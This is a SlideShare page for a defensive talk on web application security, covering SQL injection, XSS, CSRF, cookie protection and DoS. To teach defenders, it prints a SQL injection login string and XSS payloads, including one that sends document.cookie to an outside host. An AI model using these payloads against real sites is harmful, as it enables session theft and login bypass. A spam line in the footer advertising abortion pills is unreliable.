SlideShare a Scribd company logo
1 of 29
Defending web applications from attacks Roberto Bicchierai http://roberto.open-lab.com rbicchierai@open-lab.com
“Web appsw.t.f.?” Channel/protocol usage: e-mail client, skype, dropbox, twitter clients, etc. (mainly for personal use) Extra-nets: salesforce, bugzilla, teamwork, alfresco, home banking, jira, etc. (mainlyfor a restrictedgroupofusers) Extended audience: blogs, communities e.g.: facebook, linkedin (for huge groups and anonymous users)
	This speech is focused on letting you know some commons mistakes you MUST avoid when writing a web application.
Seems easy to say “security”… Classical branches: Hardware security Cryptography Identity
Cryptography Every single byte you send can be read. SSL does not guarantee 100% and slows down your apps. Sniffing requires knowledge, software, hardware and physical access to wires.
User identity Username/e-mail and password strength:  “p455w0rD.” better than “password” or “p” avoid login name, family name, birth date, phone number, child or pet’s names (remember Joshua!) try to avoid dictionary ones (record number of attempts!) never store passwords on your db The newdictionary: why “qazwsxedc” isnot so strong? OpenIDis a suitable alternative for some web apps. Biometrics are NOT. Datibiometrici (difficilmenteusabili)
Did I miss something? My servers are in a fortress 3 firewall levels (and one dragon) I use 56 chars non-alpha pwd pwd expires every 10 days I use SSL 1024(128) bit encryption I hung blu velvet curtains to the windows
Your app sucks! Injection Cookies XSS CSRF The problem is in the application…
Injection: I don’t  need a password! Earth 2010: lotsofapplications are still open to the classicalsqlinjectionvulnerability: jsmith a’ or ‘a’=‘a “select  * fromuserswhere username=‘” + login +”’ and password=‘” + password +”’ ” DON’T
Damned HTML… and your browsers 3 ingredients make web apps vulnerable: HTML was not for applications! But it is! (code injection is too easy) HTTP  uses cookies for handling sessions Javascript, that is ubiquitous in a page (and reads cookies) butmainly browsers
Remember me! Saltedcookies, saltedcookies! Usesalt and peppertohash login data. Do notmakethemreversible! md5(user.id+”hash”) md5(user.id+”jfhsdj*dsj2+39jrw_enw”)
Protectcookies! lost cookies = session stolen, now I’m you! Hard to recover! Quite “easy” to prevent use HttpOnly cookies restrict cookie’s scope by setting host, path, expiry encrypt data saved on cookies
Injectionreloaded: aka XSS  JSP-ASP example: notes: <textarea name=“notes”><%=note%></textarea> your name: <input type=”text” value=“<%=yourName%>”> <%=yourName%> notes: </textarea><script>alert(“you stink!”)</script> your name: john “> <script>alert(“I can do everything!”)</script> thisis the basicsofXSS
XSS How I’llgetyourcookies: http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie</script> “Websites from FBI.gov, CNN.com, Time.com, Ebay, Yahoo, Apple computer, Microsoft, Zdnet, Wired, and Newsbytes have all had one form or another of XSS bugs.” www.cgisecurity.com
XSS: encodeuserinputs Do not think it’s easy: if (userInputs.contains(“<script>”)) 	killTheUser(); itdoesn’t work! http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e Do yourecognizethis? Itis the same script! Some browsersaccept Ascii, hex, octal, url encoding, unicode, html, etc.
XSS: encodeuserinputs The safest solution? Limit user inputs to plain text  Html encode every single field http://host/a.php?variable=&quot;&gt;&lt;script&gt;document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?%20+document.cookie&lt;/script&gt; Sweet dreams! This is always safe!
XSS: no plain text? so, pain test! Your app allows rich text inputs? Did your user need the full power of HTML? Try to avoid using it. Use a lightweight markup language instead. ,[object Object]
Textile
BBCode
Wikipedia,[object Object]
XSS: test yourpages There are about 150 different XSS exploits! Test inputs using examples on http://ha.ckers.org/xss.html with different browsers and versions. Use XSSme plugin for FireFox.
Missionaccomplished. XSS destroyed!  Does the user exactly know what she is doing? Everytime? click here next target: Cross Site Request Forgery
CSRF: howdoesit work? John is authenticated on site A. e.g.: stoks.example.com John visit the site B reading news: hotStoksNews.goodboy.com B contains the CSRF attack to site A e.g.: <img src=“http://stoks.example.com/buy.jsp? symbol=KRAK&shares=1000”> John is now an happy owner  	of 1000 KRAK shares!
CSRF: protectyourapp There aren’t many solutions: Server-side Generated Tokens!
CSRF & Tokens: howto your server generates a random number and: - insert it as hidden parameter in the form (or in the url in case of get)- store it in the user session  when the form request is received a hidden parameter is matched with the in-session one
CSRF & Tokens Cons: reloading a page (F5) will generate “invalid token error” if a page has different entry points token generation may be annoying Pros: safe safe safe
API: a newenemy? REST, JSON, XML API are not evil in themself, but: there is no “standard” authentication when used with JS clients this may reveal the user key you are exposing new ways for xss and csrf
DoS: Denialof Service DoS protocol level: nothing to do… use intelligent gateways/router DoS application level: try to monitor IPs,  manage a black-list (not useful for DDoS), kill suspect sessions Use session-less pages until authentication “DoS” and “Success” are similar, if you can endure an attack, you are ready to support  thousands of users.
Yourapprocks! use strong passwords keep data in safe place do not store user’s passwords salt and pepper everywhere use SSL use Httponly cookies encode user inputs or sanitize them use server-side tokens for critical actions expose a read-only API

More Related Content

What's hot

Clickjacking DevCon2011
Clickjacking DevCon2011Clickjacking DevCon2011
Clickjacking DevCon2011Krishna T
 
The Hidden XSS - Attacking the Desktop & Mobile Platforms
The Hidden XSS - Attacking the Desktop & Mobile PlatformsThe Hidden XSS - Attacking the Desktop & Mobile Platforms
The Hidden XSS - Attacking the Desktop & Mobile Platformskosborn
 
Top Ten Web Hacking Techniques (2010)
Top Ten Web Hacking Techniques (2010)Top Ten Web Hacking Techniques (2010)
Top Ten Web Hacking Techniques (2010)Jeremiah Grossman
 
Top Ten Web Hacking Techniques of 2012
Top Ten Web Hacking Techniques of 2012Top Ten Web Hacking Techniques of 2012
Top Ten Web Hacking Techniques of 2012Jeremiah Grossman
 
Secure web messaging in HTML5
Secure web messaging in HTML5Secure web messaging in HTML5
Secure web messaging in HTML5Krishna T
 
Browser Internals-Same Origin Policy
Browser Internals-Same Origin PolicyBrowser Internals-Same Origin Policy
Browser Internals-Same Origin PolicyKrishna T
 
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka IrongeekMutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka IrongeekMagno Logan
 
VSA: The Virtual Scripted Attacker, Brucon 2012
VSA: The Virtual Scripted Attacker, Brucon 2012VSA: The Virtual Scripted Attacker, Brucon 2012
VSA: The Virtual Scripted Attacker, Brucon 2012Abraham Aranguren
 
Things that go bump on the web - Web Application Security
Things that go bump on the web - Web Application SecurityThings that go bump on the web - Web Application Security
Things that go bump on the web - Web Application SecurityChristian Heilmann
 
Html5 security
Html5 securityHtml5 security
Html5 securityKrishna T
 
Web Application Security: The Land that Information Security Forgot
Web Application Security: The Land that Information Security ForgotWeb Application Security: The Land that Information Security Forgot
Web Application Security: The Land that Information Security ForgotJeremiah Grossman
 
Introduction to CSRF Attacks & Defense
Introduction to CSRF Attacks & DefenseIntroduction to CSRF Attacks & Defense
Introduction to CSRF Attacks & DefenseSurya Subhash
 
Phpnw security-20111009
Phpnw security-20111009Phpnw security-20111009
Phpnw security-20111009Paul Lemon
 
Understanding Cross-site Request Forgery
Understanding Cross-site Request ForgeryUnderstanding Cross-site Request Forgery
Understanding Cross-site Request ForgeryDaniel Miessler
 
Web application security for java (XSS,Session Fixation)
Web application security for java (XSS,Session Fixation)Web application security for java (XSS,Session Fixation)
Web application security for java (XSS,Session Fixation)Ritesh Raushan
 
Django (Web Applications that are Secure by Default)
Django �(Web Applications that are Secure by Default�)Django �(Web Applications that are Secure by Default�)
Django (Web Applications that are Secure by Default)Kishor Kumar
 
Microdata semantic-extend
Microdata semantic-extendMicrodata semantic-extend
Microdata semantic-extendSeek Tan
 

What's hot (20)

Clickjacking DevCon2011
Clickjacking DevCon2011Clickjacking DevCon2011
Clickjacking DevCon2011
 
The Hidden XSS - Attacking the Desktop & Mobile Platforms
The Hidden XSS - Attacking the Desktop & Mobile PlatformsThe Hidden XSS - Attacking the Desktop & Mobile Platforms
The Hidden XSS - Attacking the Desktop & Mobile Platforms
 
Top Ten Web Hacking Techniques (2010)
Top Ten Web Hacking Techniques (2010)Top Ten Web Hacking Techniques (2010)
Top Ten Web Hacking Techniques (2010)
 
Top Ten Web Hacking Techniques of 2012
Top Ten Web Hacking Techniques of 2012Top Ten Web Hacking Techniques of 2012
Top Ten Web Hacking Techniques of 2012
 
4.Xss
4.Xss4.Xss
4.Xss
 
Secure web messaging in HTML5
Secure web messaging in HTML5Secure web messaging in HTML5
Secure web messaging in HTML5
 
Browser Internals-Same Origin Policy
Browser Internals-Same Origin PolicyBrowser Internals-Same Origin Policy
Browser Internals-Same Origin Policy
 
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka IrongeekMutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
 
VSA: The Virtual Scripted Attacker, Brucon 2012
VSA: The Virtual Scripted Attacker, Brucon 2012VSA: The Virtual Scripted Attacker, Brucon 2012
VSA: The Virtual Scripted Attacker, Brucon 2012
 
Things that go bump on the web - Web Application Security
Things that go bump on the web - Web Application SecurityThings that go bump on the web - Web Application Security
Things that go bump on the web - Web Application Security
 
Html5 security
Html5 securityHtml5 security
Html5 security
 
Web Application Security: The Land that Information Security Forgot
Web Application Security: The Land that Information Security ForgotWeb Application Security: The Land that Information Security Forgot
Web Application Security: The Land that Information Security Forgot
 
Introduction to CSRF Attacks & Defense
Introduction to CSRF Attacks & DefenseIntroduction to CSRF Attacks & Defense
Introduction to CSRF Attacks & Defense
 
Web Security 101
Web Security 101Web Security 101
Web Security 101
 
Phpnw security-20111009
Phpnw security-20111009Phpnw security-20111009
Phpnw security-20111009
 
Understanding Cross-site Request Forgery
Understanding Cross-site Request ForgeryUnderstanding Cross-site Request Forgery
Understanding Cross-site Request Forgery
 
Phishing with Super Bait
Phishing with Super BaitPhishing with Super Bait
Phishing with Super Bait
 
Web application security for java (XSS,Session Fixation)
Web application security for java (XSS,Session Fixation)Web application security for java (XSS,Session Fixation)
Web application security for java (XSS,Session Fixation)
 
Django (Web Applications that are Secure by Default)
Django �(Web Applications that are Secure by Default�)Django �(Web Applications that are Secure by Default�)
Django (Web Applications that are Secure by Default)
 
Microdata semantic-extend
Microdata semantic-extendMicrodata semantic-extend
Microdata semantic-extend
 

Viewers also liked

Game Design for Product Ideas and UI Design
Game Design for Product Ideas and UI DesignGame Design for Product Ideas and UI Design
Game Design for Product Ideas and UI DesignPietro Polsinelli
 
Videogames Saving and Damning Players
Videogames Saving and Damning PlayersVideogames Saving and Damning Players
Videogames Saving and Damning PlayersPietro Polsinelli
 
Impact of technology on narratives
Impact of technology on narrativesImpact of technology on narratives
Impact of technology on narrativesPietro Polsinelli
 
A Romantic Approach to Game Design
A Romantic Approach to Game DesignA Romantic Approach to Game Design
A Romantic Approach to Game DesignPietro Polsinelli
 
Game Design: from rules to craft
Game Design: from rules to craftGame Design: from rules to craft
Game Design: from rules to craftPietro Polsinelli
 
How to Fail Kickstarter and Live Happily Ever After
How to Fail Kickstarter and Live Happily Ever AfterHow to Fail Kickstarter and Live Happily Ever After
How to Fail Kickstarter and Live Happily Ever AfterPietro Polsinelli
 
Egypt
EgyptEgypt
EgyptDJSA
 

Viewers also liked (8)

Game Design for Product Ideas and UI Design
Game Design for Product Ideas and UI DesignGame Design for Product Ideas and UI Design
Game Design for Product Ideas and UI Design
 
Videogames Saving and Damning Players
Videogames Saving and Damning PlayersVideogames Saving and Damning Players
Videogames Saving and Damning Players
 
Impact of technology on narratives
Impact of technology on narrativesImpact of technology on narratives
Impact of technology on narratives
 
A Romantic Approach to Game Design
A Romantic Approach to Game DesignA Romantic Approach to Game Design
A Romantic Approach to Game Design
 
Game Design: from rules to craft
Game Design: from rules to craftGame Design: from rules to craft
Game Design: from rules to craft
 
How to Fail Kickstarter and Live Happily Ever After
How to Fail Kickstarter and Live Happily Ever AfterHow to Fail Kickstarter and Live Happily Ever After
How to Fail Kickstarter and Live Happily Ever After
 
Egypt
EgyptEgypt
Egypt
 
Playfied Storytelling
Playfied StorytellingPlayfied Storytelling
Playfied Storytelling
 

Similar to Roberto Bicchierai - Defending web applications from attacks

Top Ten Tips For Tenacious Defense In Asp.Net
Top Ten Tips For Tenacious Defense In Asp.NetTop Ten Tips For Tenacious Defense In Asp.Net
Top Ten Tips For Tenacious Defense In Asp.Netalsmola
 
Evolution Of Web Security
Evolution Of Web SecurityEvolution Of Web Security
Evolution Of Web SecurityChris Shiflett
 
Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)Brian Huff
 
Django Web Application Security
Django Web Application SecurityDjango Web Application Security
Django Web Application Securitylevigross
 
Defcon9 Presentation2001
Defcon9 Presentation2001Defcon9 Presentation2001
Defcon9 Presentation2001Miguel Ibarra
 
Web Application Security - "In theory and practice"
Web Application Security - "In theory and practice"Web Application Security - "In theory and practice"
Web Application Security - "In theory and practice"Jeremiah Grossman
 
Javascript Security
Javascript SecurityJavascript Security
Javascript Securityjgrahamc
 
Web Attacks - Top threats - 2010
Web Attacks - Top threats - 2010Web Attacks - Top threats - 2010
Web Attacks - Top threats - 2010Shreeraj Shah
 
The top 10 security issues in web applications
The top 10 security issues in web applicationsThe top 10 security issues in web applications
The top 10 security issues in web applicationsDevnology
 
Intro to Web Application Security
Intro to Web Application SecurityIntro to Web Application Security
Intro to Web Application SecurityRob Ragan
 
Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Amit Tyagi
 
StartPad Countdown 2 - Startup Security: Hacking and Compliance in a Web 2.0 ...
StartPad Countdown 2 - Startup Security: Hacking and Compliance in a Web 2.0 ...StartPad Countdown 2 - Startup Security: Hacking and Compliance in a Web 2.0 ...
StartPad Countdown 2 - Startup Security: Hacking and Compliance in a Web 2.0 ...Start Pad
 
Devbeat Conference - Developer First Security
Devbeat Conference - Developer First SecurityDevbeat Conference - Developer First Security
Devbeat Conference - Developer First SecurityMichael Coates
 
Php & Web Security - PHPXperts 2009
Php & Web Security - PHPXperts 2009Php & Web Security - PHPXperts 2009
Php & Web Security - PHPXperts 2009mirahman
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008abhijitapatil
 
Defending Against Attacks With Rails
Defending Against Attacks With RailsDefending Against Attacks With Rails
Defending Against Attacks With RailsTony Amoyal
 

Similar to Roberto Bicchierai - Defending web applications from attacks (20)

Xss is more than a simple threat
Xss is more than a simple threatXss is more than a simple threat
Xss is more than a simple threat
 
PHPUG Presentation
PHPUG PresentationPHPUG Presentation
PHPUG Presentation
 
Top Ten Tips For Tenacious Defense In Asp.Net
Top Ten Tips For Tenacious Defense In Asp.NetTop Ten Tips For Tenacious Defense In Asp.Net
Top Ten Tips For Tenacious Defense In Asp.Net
 
Evolution Of Web Security
Evolution Of Web SecurityEvolution Of Web Security
Evolution Of Web Security
 
Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)
 
Ajax Security
Ajax SecurityAjax Security
Ajax Security
 
Django Web Application Security
Django Web Application SecurityDjango Web Application Security
Django Web Application Security
 
Owasp top 10 2013
Owasp top 10 2013Owasp top 10 2013
Owasp top 10 2013
 
Defcon9 Presentation2001
Defcon9 Presentation2001Defcon9 Presentation2001
Defcon9 Presentation2001
 
Web Application Security - "In theory and practice"
Web Application Security - "In theory and practice"Web Application Security - "In theory and practice"
Web Application Security - "In theory and practice"
 
Javascript Security
Javascript SecurityJavascript Security
Javascript Security
 
Web Attacks - Top threats - 2010
Web Attacks - Top threats - 2010Web Attacks - Top threats - 2010
Web Attacks - Top threats - 2010
 
The top 10 security issues in web applications
The top 10 security issues in web applicationsThe top 10 security issues in web applications
The top 10 security issues in web applications
 
Intro to Web Application Security
Intro to Web Application SecurityIntro to Web Application Security
Intro to Web Application Security
 
Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)
 
StartPad Countdown 2 - Startup Security: Hacking and Compliance in a Web 2.0 ...
StartPad Countdown 2 - Startup Security: Hacking and Compliance in a Web 2.0 ...StartPad Countdown 2 - Startup Security: Hacking and Compliance in a Web 2.0 ...
StartPad Countdown 2 - Startup Security: Hacking and Compliance in a Web 2.0 ...
 
Devbeat Conference - Developer First Security
Devbeat Conference - Developer First SecurityDevbeat Conference - Developer First Security
Devbeat Conference - Developer First Security
 
Php & Web Security - PHPXperts 2009
Php & Web Security - PHPXperts 2009Php & Web Security - PHPXperts 2009
Php & Web Security - PHPXperts 2009
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008
 
Defending Against Attacks With Rails
Defending Against Attacks With RailsDefending Against Attacks With Rails
Defending Against Attacks With Rails
 

More from Pietro Polsinelli

Surviving Applied Games (2018)
Surviving Applied Games (2018)Surviving Applied Games (2018)
Surviving Applied Games (2018)Pietro Polsinelli
 
Designing An Applied Game For Your Museum - Workshop
Designing An Applied Game For Your Museum - WorkshopDesigning An Applied Game For Your Museum - Workshop
Designing An Applied Game For Your Museum - WorkshopPietro Polsinelli
 
Applied And Persuasive Applications For Museums
Applied And Persuasive Applications For MuseumsApplied And Persuasive Applications For Museums
Applied And Persuasive Applications For MuseumsPietro Polsinelli
 
Impossible mission: estimating (game) development
Impossible mission: estimating (game) developmentImpossible mission: estimating (game) development
Impossible mission: estimating (game) developmentPietro Polsinelli
 
Engagement as playful learning
Engagement as playful learningEngagement as playful learning
Engagement as playful learningPietro Polsinelli
 
(Mis)Understanding Applied Game Design: Vaccine!
(Mis)Understanding Applied Game Design: Vaccine!(Mis)Understanding Applied Game Design: Vaccine!
(Mis)Understanding Applied Game Design: Vaccine!Pietro Polsinelli
 
From Web to Game Development
From Web to Game DevelopmentFrom Web to Game Development
From Web to Game DevelopmentPietro Polsinelli
 
A Short Workshop in Game Design
A Short Workshop in Game DesignA Short Workshop in Game Design
A Short Workshop in Game DesignPietro Polsinelli
 
Applied Game Design by Example
Applied Game Design by ExampleApplied Game Design by Example
Applied Game Design by ExamplePietro Polsinelli
 
People in love at Games in Tuscany
People in love at Games in TuscanyPeople in love at Games in Tuscany
People in love at Games in TuscanyPietro Polsinelli
 
From Gamification to Game Design
From Gamification to Game DesignFrom Gamification to Game Design
From Gamification to Game DesignPietro Polsinelli
 
People in Love: a game about urban design
People in Love: a game about urban designPeople in Love: a game about urban design
People in Love: a game about urban designPietro Polsinelli
 
Development and storytelling: a many-to-many relationship
Development and storytelling: a many-to-many relationshipDevelopment and storytelling: a many-to-many relationship
Development and storytelling: a many-to-many relationshipPietro Polsinelli
 
Game Design for Storytellers
Game Design for StorytellersGame Design for Storytellers
Game Design for StorytellersPietro Polsinelli
 
Gamify with SVG / Canvas over Facebook Open Graph
Gamify with SVG / Canvas over Facebook Open GraphGamify with SVG / Canvas over Facebook Open Graph
Gamify with SVG / Canvas over Facebook Open GraphPietro Polsinelli
 
From HTML5 websites to HTML5 games
From HTML5 websites to HTML5 gamesFrom HTML5 websites to HTML5 games
From HTML5 websites to HTML5 gamesPietro Polsinelli
 
Deterding on "Persuasive Design"
Deterding on "Persuasive Design"Deterding on "Persuasive Design"
Deterding on "Persuasive Design"Pietro Polsinelli
 

More from Pietro Polsinelli (20)

Surviving Applied Games (2018)
Surviving Applied Games (2018)Surviving Applied Games (2018)
Surviving Applied Games (2018)
 
Designing An Applied Game For Your Museum - Workshop
Designing An Applied Game For Your Museum - WorkshopDesigning An Applied Game For Your Museum - Workshop
Designing An Applied Game For Your Museum - Workshop
 
Museums and Learning
Museums and LearningMuseums and Learning
Museums and Learning
 
The Perfect Fuckup Formula
The Perfect Fuckup FormulaThe Perfect Fuckup Formula
The Perfect Fuckup Formula
 
Applied And Persuasive Applications For Museums
Applied And Persuasive Applications For MuseumsApplied And Persuasive Applications For Museums
Applied And Persuasive Applications For Museums
 
Impossible mission: estimating (game) development
Impossible mission: estimating (game) developmentImpossible mission: estimating (game) development
Impossible mission: estimating (game) development
 
Engagement as playful learning
Engagement as playful learningEngagement as playful learning
Engagement as playful learning
 
(Mis)Understanding Applied Game Design: Vaccine!
(Mis)Understanding Applied Game Design: Vaccine!(Mis)Understanding Applied Game Design: Vaccine!
(Mis)Understanding Applied Game Design: Vaccine!
 
From Web to Game Development
From Web to Game DevelopmentFrom Web to Game Development
From Web to Game Development
 
A Short Workshop in Game Design
A Short Workshop in Game DesignA Short Workshop in Game Design
A Short Workshop in Game Design
 
Applied Game Design by Example
Applied Game Design by ExampleApplied Game Design by Example
Applied Game Design by Example
 
People in love at Games in Tuscany
People in love at Games in TuscanyPeople in love at Games in Tuscany
People in love at Games in Tuscany
 
From Gamification to Game Design
From Gamification to Game DesignFrom Gamification to Game Design
From Gamification to Game Design
 
People in Love: a game about urban design
People in Love: a game about urban designPeople in Love: a game about urban design
People in Love: a game about urban design
 
Development and storytelling: a many-to-many relationship
Development and storytelling: a many-to-many relationshipDevelopment and storytelling: a many-to-many relationship
Development and storytelling: a many-to-many relationship
 
Game Design for Storytellers
Game Design for StorytellersGame Design for Storytellers
Game Design for Storytellers
 
Gamify with SVG / Canvas over Facebook Open Graph
Gamify with SVG / Canvas over Facebook Open GraphGamify with SVG / Canvas over Facebook Open Graph
Gamify with SVG / Canvas over Facebook Open Graph
 
From HTML5 websites to HTML5 games
From HTML5 websites to HTML5 gamesFrom HTML5 websites to HTML5 games
From HTML5 websites to HTML5 games
 
Deterding on "Persuasive Design"
Deterding on "Persuasive Design"Deterding on "Persuasive Design"
Deterding on "Persuasive Design"
 
Engagement by Design
Engagement by DesignEngagement by Design
Engagement by Design
 

Recently uploaded

Partners Life - Insurer Innovation Award 2024
Partners Life - Insurer Innovation Award 2024Partners Life - Insurer Innovation Award 2024
Partners Life - Insurer Innovation Award 2024The Digital Insurer
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024The Digital Insurer
 
MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024MIND CTI
 
GenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdfGenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdflior mazor
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfsudhanshuwaghmare1
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherRemote DBA Services
 
Top 10 Most Downloaded Games on Play Store in 2024
Top 10 Most Downloaded Games on Play Store in 2024Top 10 Most Downloaded Games on Play Store in 2024
Top 10 Most Downloaded Games on Play Store in 2024SynarionITSolutions
 
presentation ICT roal in 21st century education
presentation ICT roal in 21st century educationpresentation ICT roal in 21st century education
presentation ICT roal in 21st century educationjfdjdjcjdnsjd
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerThousandEyes
 
HTML Injection Attacks: Impact and Mitigation Strategies
HTML Injection Attacks: Impact and Mitigation StrategiesHTML Injection Attacks: Impact and Mitigation Strategies
HTML Injection Attacks: Impact and Mitigation StrategiesBoston Institute of Analytics
 
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc
 
AWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of TerraformAWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of TerraformAndrey Devyatkin
 
Manulife - Insurer Innovation Award 2024
Manulife - Insurer Innovation Award 2024Manulife - Insurer Innovation Award 2024
Manulife - Insurer Innovation Award 2024The Digital Insurer
 
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...Neo4j
 
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...apidays
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FMESafe Software
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...Martijn de Jong
 
Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)wesley chun
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Miguel Araújo
 

Recently uploaded (20)

Partners Life - Insurer Innovation Award 2024
Partners Life - Insurer Innovation Award 2024Partners Life - Insurer Innovation Award 2024
Partners Life - Insurer Innovation Award 2024
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024
 
MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024
 
GenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdfGenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdf
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdf
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a Fresher
 
Top 10 Most Downloaded Games on Play Store in 2024
Top 10 Most Downloaded Games on Play Store in 2024Top 10 Most Downloaded Games on Play Store in 2024
Top 10 Most Downloaded Games on Play Store in 2024
 
presentation ICT roal in 21st century education
presentation ICT roal in 21st century educationpresentation ICT roal in 21st century education
presentation ICT roal in 21st century education
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
HTML Injection Attacks: Impact and Mitigation Strategies
HTML Injection Attacks: Impact and Mitigation StrategiesHTML Injection Attacks: Impact and Mitigation Strategies
HTML Injection Attacks: Impact and Mitigation Strategies
 
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
 
AWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of TerraformAWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of Terraform
 
Manulife - Insurer Innovation Award 2024
Manulife - Insurer Innovation Award 2024Manulife - Insurer Innovation Award 2024
Manulife - Insurer Innovation Award 2024
 
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
 
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
